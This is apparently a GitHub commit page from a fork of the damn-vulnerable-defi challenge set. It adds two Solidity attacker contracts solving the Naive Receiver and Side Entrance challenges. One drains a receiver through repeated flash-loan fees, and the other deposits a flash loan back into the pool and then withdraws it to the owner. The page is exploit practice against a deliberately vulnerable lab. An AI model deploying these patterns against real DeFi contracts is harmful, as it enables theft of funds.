forked from theredguild/damn-vulnerable-defi
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat: theredguild#3 & theredguild#4 solved and attacker-contracts
- Loading branch information
Showing
5 changed files
with
97 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
|
||
interface IPool { | ||
function flashLoan(address borrower, uint256 borrowAmount) external; | ||
} | ||
|
||
contract NaiveReceiverAttacker { | ||
address private immutable pool; | ||
address private immutable receiver; | ||
address private immutable owner; | ||
|
||
constructor(address _pool, address _receiver) payable { | ||
pool = _pool; | ||
receiver = _receiver; | ||
owner = msg.sender; | ||
} | ||
receive () external payable {} | ||
|
||
function launch(uint256 counter) external { | ||
require(msg.sender == owner, "only owner"); | ||
IPool ipool = IPool(pool); | ||
for(uint256 i=0;i<counter;i++){ | ||
ipool.flashLoan(receiver,1 ether); | ||
} | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
import "@openzeppelin/contracts/utils/Address.sol"; | ||
|
||
interface IFlashLoanEtherReceiver { | ||
function execute() external payable; | ||
} | ||
|
||
interface ITargetPool { | ||
function flashLoan(uint256 amount) external; | ||
function deposit() external payable; | ||
function withdraw() external; | ||
} | ||
|
||
contract SideEntranceAttacker is IFlashLoanEtherReceiver { | ||
using Address for address payable; | ||
|
||
ITargetPool private immutable pool; | ||
address private immutable owner; | ||
constructor(address _pool) payable { | ||
pool = ITargetPool(_pool); | ||
owner = msg.sender; | ||
} | ||
receive() external payable{} | ||
|
||
|
||
function attack(uint256 _amount) external { | ||
require(msg.sender == owner, "only owner"); | ||
pool.flashLoan(_amount); | ||
// after re-deposit all fund are belonged to this contract | ||
pool.withdraw(); | ||
// send funds to attacker | ||
payable(owner).sendValue(_amount); | ||
} | ||
|
||
|
||
function execute() override external payable { | ||
require(msg.sender == address(pool), "only pool"); | ||
// just deposit back to the pool | ||
pool.deposit{value:msg.value}(); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters